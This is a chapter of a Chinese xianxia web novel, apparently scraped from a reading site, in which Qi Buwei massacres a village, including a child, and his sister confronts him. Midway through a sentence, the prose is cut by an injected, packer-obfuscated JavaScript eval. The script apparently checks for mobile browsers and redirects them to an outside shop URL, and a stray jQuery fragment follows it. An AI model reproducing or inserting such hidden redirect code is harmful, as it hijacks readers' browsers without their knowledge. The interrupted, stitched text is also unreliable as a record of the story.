“来人!抓住他……抓住他!杀了他……!”村长高声尖叫,再没了方才咄咄逼人的架势,吓得屁滚尿流。
乌衣村的村民悉数围拢上来,一个个都像被火烧热了血,恐惧和愤怒推着他们上前。
——不杀此人,他们都会死!
一时间众人高声吼叫,冲着祁不为刀劈斧砸,人潮一波接着一波,好像想把他活活淹死、耗死。
“祁不为!”易张稚又是惊呼,可他担忧的却不是那人的安危。
那些热血飞溅起来,仿佛瓢泼大雨,惨叫与怒吼此起彼伏。
死去的人兀自瞪大眼睛,下一瞬便被前赴后继地淹没了,数不清多少人踩碎了那满地狼藉的内脏肠子。
易张稚想去祁不为身边,却被厉鬼纠缠不休。
二者斗来斗去,不如另一边狂热疯魔,但灵力与鬼气相撞,激流不断。
终于,当易张稚困住厉鬼后,立马飞身至那密密麻麻的人流中。他用灵力震开四周的村民,抬手挡住祁不为劈砍而下的长剑,哀嚎痛呼应声而起!
长剑已经从肩膀切入一个村民体内,易张稚格挡,祁不为蓄力而下,那人瞬间成了磨刀石,痛楚翻倍,他几乎要软倒,可冷剑紧紧咬着血肉,一动作便切出新伤口。
“啊——!!!”
易张稚神色一凛,抬掌把祁不为拍飞,剑当即从村民身上脱出,带出瓢泼热血,淋了易张稚半边身子。
祁不为从始至终都盯着村长,刚一站稳,又提剑上前,紧接着村民呼啦啦围上来,不怕死一样。
易张稚简直要把牙咬碎,飞身而入,一边防住村民伤害祁不为,一边又防止祁不为对他们下死手。
“你冷静点!”易张稚抽空开口道,“我们先把你姐姐和易辛找出来!”
祁不为面上毫无表情,瞳孔黑得好像根本不认识易张稚一样,只被愤怒和憎恨推着不断提剑杀人,所以对易张稚也毫不手软。
“她们也许还活着!”易张稚狼狈地躲过一剑,祁不为失了神智,可他没有,前者能毫无顾忌地劈砍挥剑,他却瞻前顾后、畏手畏脚。
就在这时,谁也没发现厉鬼已经挣脱了束缚,悄无声息地来到了易张稚身后,利爪并指成刀,锋利无比地贯穿了他的胸膛!
易张稚倏地瞪大眼睛,还没来得及感受疼痛,祁不为也一剑透穿了他腹部。
他本来可以躲开的,但厉鬼把他钉在了原地。
他张了张口,想抓住祁不为的手臂,然而口中激出了血沫,接着呕出大口大口的血。
在这十分短暂、几乎是瞬间的僵持中,村口上方骤然响起几道惊呼。
“这里发生什么了?!怎会死了这么多人!”
“那好像……是祁不为?!还有易张稚!”
“他捅了易张稚吗?”
村口上方正聚集着四名仙门弟子,也许这里是他们的管辖之地,深夜巡山时发现了异状。
弟子们俯冲下来。
“祁不为,是你杀了这些村民——”
话音戛然而止,那名开口的弟子抬起手,似乎想摸摸喉咙,但还未触及,便颓然倒地,鲜艳的红铺了一地。
易张稚闷哼一声,祁不为拔剑拔得干脆利落,杀人也行云流水……
被人看见了……一切都失控了……
易张稚甚至没用灵力止血,反手钳住身后的厉鬼,无刃剑随心而动,把厉鬼的胳膊砍成两段,一段还留在他胸膛里。
厉鬼凄厉一叫,身后浮出一道法阵,将他紧紧控制住。
易张稚回身,双手掐诀,两臂张开,筋骨充满了力量与灵力,风声赫赫。厉鬼狂乱地挥舞利爪,鬼气源源不断逸出,却被易张稚重重镇压。
他召来无刃剑,剑身灌满灵力,在一阵眼花缭乱却绚烂至极的施法中,直直穿透了厉鬼的身躯。
厉鬼尖声嚎叫,身形却像风沙般归于虚无,尾音戛然而止。
紧接着身后响起一道惊惧怒吼:“去!速速禀告掌门!”
“祁不为杀人成狂!屠戮同僚!”
“必须让仙门审判他的罪过!”
易张稚扭过头,一道流光飞出村外,很快消失在黑沉的天边,而其他三名弟子已经咽下了最后一口气。
他猛地吐出一口血,支撑不住地跪在地上。
祁不为已经无人可挡,易张稚想开口,冷不防一瓢热血溅在了脸上,将那张清清白白的脸染红了。
村民们好像突然抽掉了魂魄,一个接一个倒下。
祁不为太反常了。
这几乎是屠杀……
易张稚浑身泛冷,肺腑和肋骨都被切断了,倒气倒得好像随时都会窒息。他偏偏就是不闭眼,只见祁不为终于把村长逼到无人相帮、退无可退之地。
在死亡面前,再多的恨意都抵挡不住恐惧,村长抖成了筛子。他方才慌不择路想躲进茅草屋中,祁不为凌空一掌,屋檐直接塌下来挡住了他的去路。
余光中,悬空斜到地面的台阶下仿佛躲着一个人,村长救命稻草似的用力一扯,随着惊恐尖叫,小南被村长抓着挡在身前。
村长望着面前恶鬼一样的人,声音狂抖:“孩、孩子……是无辜的、你……你总不至于连他也杀吧……”
说着说着,村长就掐住了小南脖子。
这回小南没感觉似的,完完全全被身前之人骇住了,颤抖着说:“不、不要杀我……为什么、为什么……你们都想害我的命……”
“我不想死……我害怕……爹……娘……”小南呜呜咽咽道,脸上涕泗横流。
祁不为缓缓抬手,剑身鲜血淋漓。
村长眼睛都瞪直了,口里爆发出一连串惊叫,尖利无比,两股战战着从脚底洇出一团黄渍。
“祁不为!”
“住手!”
“——不要杀人!!!”
身后传来一声高过一声的厉喝,祁不为听不见似的,抬手的动作略有僵硬,仿佛提线木偶,又仿佛校准的器械,一旦锚定,出招就势如闪电。
长剑横穿,意外地遭到了一些阻力,剑刃划破了手心,但还是钉进了对面的身体里,从小南进,到村长出。
小南瞬间气息微弱,却止不住低喃着“痛……痛……好痛啊……”,后面的村长脑袋一歪,断气了。
这时,祁不为才把眼珠一转,面无表情、安静地看着来人。
祁有为抓住剑刃,手心切得很深,但她根本顾不上这份钻心的痛,刚运起灵力想替尚存一息的小南疗伤,后者眸光一灰,害怕而痛苦的神情僵在脸上。
祁有为也跟着僵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157495|191107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住了,似乎过了很久,又好像很短暂,她猛地抬手打了祁不为一巴掌。
那一掌用尽了全身力气,祁不为一下就被打在地上,脸上指痕鲜明,嘴角洇出一道血,脑袋犹自嗡嗡鸣叫。
祁不为从地上爬起来,被打醒了似的,眼里终于有了点光:“你……你没事——”
话还没说完,祁不为便被她揪住了衣领:“你杀人了?……他们全是你杀的?!”
村子里横尸遍野,房屋烧了大半,露出焦黑的木梁,有些还悬挂着碎肢。
地上洇出片片红土,血腥味经呛人的焦烟一熏,恶心得几欲呕吐。
“是……”祁不为声音有些飘,但神情坚定得近乎桀骜,“那是因为他们杀了你,还建了爹娘的衣冠冢,年年鞭尸!”
祁有为顿了一下:“他们说杀了我,你就信了吗?行事之前为何不三思!即便如此,你何至于屠村!连那些老弱妇孺都不放过!”
说罢,祁有为指着已经倒在地上的小南:“他还是个孩子!他能跟着村里人做什么伤天害理的事!”
祁不为蓦地推开她,把衣领解救出来,眼里燃起汹涌的怒火:“我三思什么?!我三思不了!他们说你死了,我宁可错杀,不可放过!何况他们那样侮辱我们爹娘!”
“——你疯了!”祁有为喊得比他更响亮更愤怒,“如果师父师娘在世,你以为他们会赞成你今日的做法吗!乌衣村人人都该死吗!罪过有轻有重,要发落也轮不到我们,你应该把他们交给官府!仙门只能处置妖邪!”
祁有为肃厉地瞪着他,片刻后忽然有些心惊,因为他脸上没有丝毫悔过,那眼神好像明明白白地告诉她,他杀得很过瘾,重来一次,他还会这样做,因为他们触碰了自己的逆鳞,所以杀上世间千百万人都死不足惜。
寒意瞬间攀上脊梁骨,祁有为不禁后退两步,低声道:“你疯了……你真的疯了,爹娘的教诲你都忘了……”
末了,祁有为喃喃自语:“……你从何时起……变成这样的?”
两人对视良久,忽然祁不为笑了:“我没变,从小到大,我一直都是这样。你没有发现而已。”
“发现了我的真面目,你想抛弃我么?”祁不为上前两步,眼里凝出隐约的水雾,“我的姐姐。”
这句话说得如毒蛇吐信,叫人心头颤栗。
祁有为咽了下喉咙,紧接着利落抬手,将徐来剑横在身前,风凛冽振开,在二人之间形成一道无形的裂缝。
“祁不为,你好自为之。”
她留下这句话,便将伤得垂垂危矣的易张稚带走了。
乌衣村寂静如死,夜色里浮动着浓烈的血腥气,从乌云后渗出来的月华惨白阴冷。
祁不为在原地站了许久,久到也许那两人已经御剑翻过了好几座山,又或许通过什么术法瞬移回了清风山庄。
也不知道易张稚还有没有活头。
祁不为吁出长长一口气,抬手扭动颈椎,舒展筋骨,顿时带起一连串咯吱脆响。
他抹开脸上已经凉透了的血迹,视野里覆上一层红,天边顿时成了诡异血月。
做完这些后,他收回视线,扭过头,望向数十步开外的祠堂。
祠堂门大开,铜像立在红烛光晕里,身后是一堵墙,墙后躺着漆黑棺椁。